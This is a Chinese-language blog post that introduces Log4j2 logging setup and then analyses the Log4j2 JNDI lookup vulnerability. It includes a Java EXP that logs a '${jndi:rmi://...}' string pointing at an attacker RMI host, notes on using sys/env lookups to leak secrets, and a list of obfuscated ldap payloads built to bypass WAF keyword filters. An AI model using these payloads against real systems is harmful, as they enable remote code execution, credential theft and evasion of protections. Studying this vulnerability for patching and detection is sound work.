0x01 Log4j2基础开发学习
log4j和log4j2都是日志管理工具,相比于log4j、log4j2一步步变的越来越主流,现在市场很多项目都是slf4j+log4j2
实现Log4j2的组件应用,先是Pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
|
先用简单的xml的方式来实现,文件如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<?xml version="1.0" encoding="UTF-8"?>
<configuration status="info">
<Properties>
<Property name="pattern1">[%-5p] %d %c - %m%n</Property>
<Property name="pattern2">
=========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
</Property>
<Property name="filePath">logs/myLog.log</Property>
</Properties>
<appenders> <Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${pattern1}"/>
</Console> <RollingFile name="RollingFile" fileName="${filePath}"
filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
<PatternLayout pattern="${pattern2}"/>
<SizeBasedTriggeringPolicy size="5 MB"/>
</RollingFile>
</appenders>
<loggers>
<root level="info">
<appender-ref ref="Console"/>
<appender-ref ref="RollingFile"/>
</root>
</loggers>
</configuration>
|
写一个Demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class Log4j2Test01 {
public static void main( String[] args )
{
Logger logger = LogManager.getLogger(LongFunction.class);
logger.trace("trace level");
logger.debug("debug level");
logger.info("info level");
logger.warn("warn level");
logger.error("error level");
logger.fatal("fatal level");
}
}
|
实际开发场景
现在的代码是我们封装的一个行为,一般日志文件还是需要输出的。然后实际应用的话。
比如我从数据库获取到了一个username
为huahua
,我要把它登陆进来的信息打印到日志里面,这个路径一般有一个/logs
的文件夹的。
demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class RealEnv {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
String username = "huahua";
if (username != null) {
logger.info("User {} login in!", username);
}
else {
logger.error("User {} not exists", username);
}
}
}
|
0x02 Log4j2漏洞分析
影响版本
2.x<=log4j<=2.15.0-rc1
漏洞原理
username
这个参数是可以控制的logger.info("User {} login in!", username);
在这里,尝试输入一下其他的
将username
修改为String username = "${java:os}";
,在跑一下看看
直接打印出了我们操作系统的一些信息。看一下官方文档的解释
按照官网上面的api来看,并不会造成安全漏洞
但是这里的lookup是基于jndi的,而jndi是存在注入漏洞的,直接调用lookup()
是会存在漏洞的
0x03 漏洞复现与EXP
在知道漏洞原理的情况下,直接写exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class log4j2EXP {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
String username = "${jndi:rmi://192.168.2.1:1099/ln5ex5}";
logger.info("User {} login in!", username);
}
}
|
0x04 调试分析
下个断点在PatternLayout
这个类下的toSerializable()
方法。
往下走,是一个循环,遍历formatters
一段段拼接输出的内容,
两个传进去进行处理的变量一个是event
,也就是我们log4j2
需要来进行日志打印的内容;另外一个buffer
,我们会把打印出来的东西写进buffer
。
跟进format()
方法,这个format()
方法可以当作是处理字符串的一个方法。
因为这是一个循环遍历formatters
的,中间会做很多数据处理的工作,有一个地方很重要,当i=7
的时候进入到了另一个format
处理方法,
进入到这个format()
方法里面后,先判断是否是Log4j2
的lookups
功能。
继续往下走,会遍历workingBuilder
来进行判断;如果workingBuilder
中存在${
,那么就会取出从$
开始直到最后的字符串,
workingBuilder
的内容如下,其实结构也比较清晰方法名,日志级别,当前类名,然后就是payload
上图的value
就是我们输入的pyaload${jndi:rmi://192.168.2.1:1099}
跟进replace()
方法,replace()
方法里面调用了substitute()
方法
进入到这里
继续往下走,直到进入到while
循环里面,在while
循环中,会对字符串进行逐字匹配${
然后进行循环读取,直到读取到}
并获取其坐标,然后将${}
中间的内容取出来,然后又会调用this.subtitute
来处理
运行subtitute
的时候,由于已经没有了${}
所以,直接来到了下面,将varName
作为变量传入resolveVariable
函数
varName 就是为${}
中的值
可以猜测resolver
解析时支持的关键词有[date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j]
,而我们这里利用的jndi:xxx
后续就会用到JndiLookup
这个解析器
这里看到resolveVariable()
方法里面是调用了lookup()
方法,这个lookup()
方法也就是jndi
里面原生的方法,在我们让jndi
去调用ldap
服务的时候,是调用原生的lookup()
方法的,是存在漏洞的。
这里就是常规的jndi注入点,会进行命令执行
总结
1、先判断内容是否有${}
,然后截取${}
中的内容,得到恶意payload jndi:xxx
2、使用:分割payload,通过前缀来判断使用何种解析器去lookup
3、支持的前缀包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
奇淫技巧
主要是读取敏感信息,GoogleCTF2022 的 log4j2 的题目中,有一种非预期的方式就是通过这种方式打的
刚才分析了其他解析器功效,通过sys
和env
协议,结合jndi
可以读取到一些环境变量和系统变量,特定情况下可能可以读取到系统密码
0x05 针对WAF的绕过
1、利用分隔符和多个${}
绕过
logg.info("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");
2、通过lower和upper绕过
这一点,因为我们之前说允许的字段是这一些
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
,其中就有 lower 和 upper
同时也可以利用 lower 和 upper 来进行 bypass 关键字
1
2
3
|
logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");
....
|
3、总结一些payload
1
2
3
4
5
6
7
8
9
|
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};
${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";
${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";
|
Reference
https://wjlshare.com/archives/1677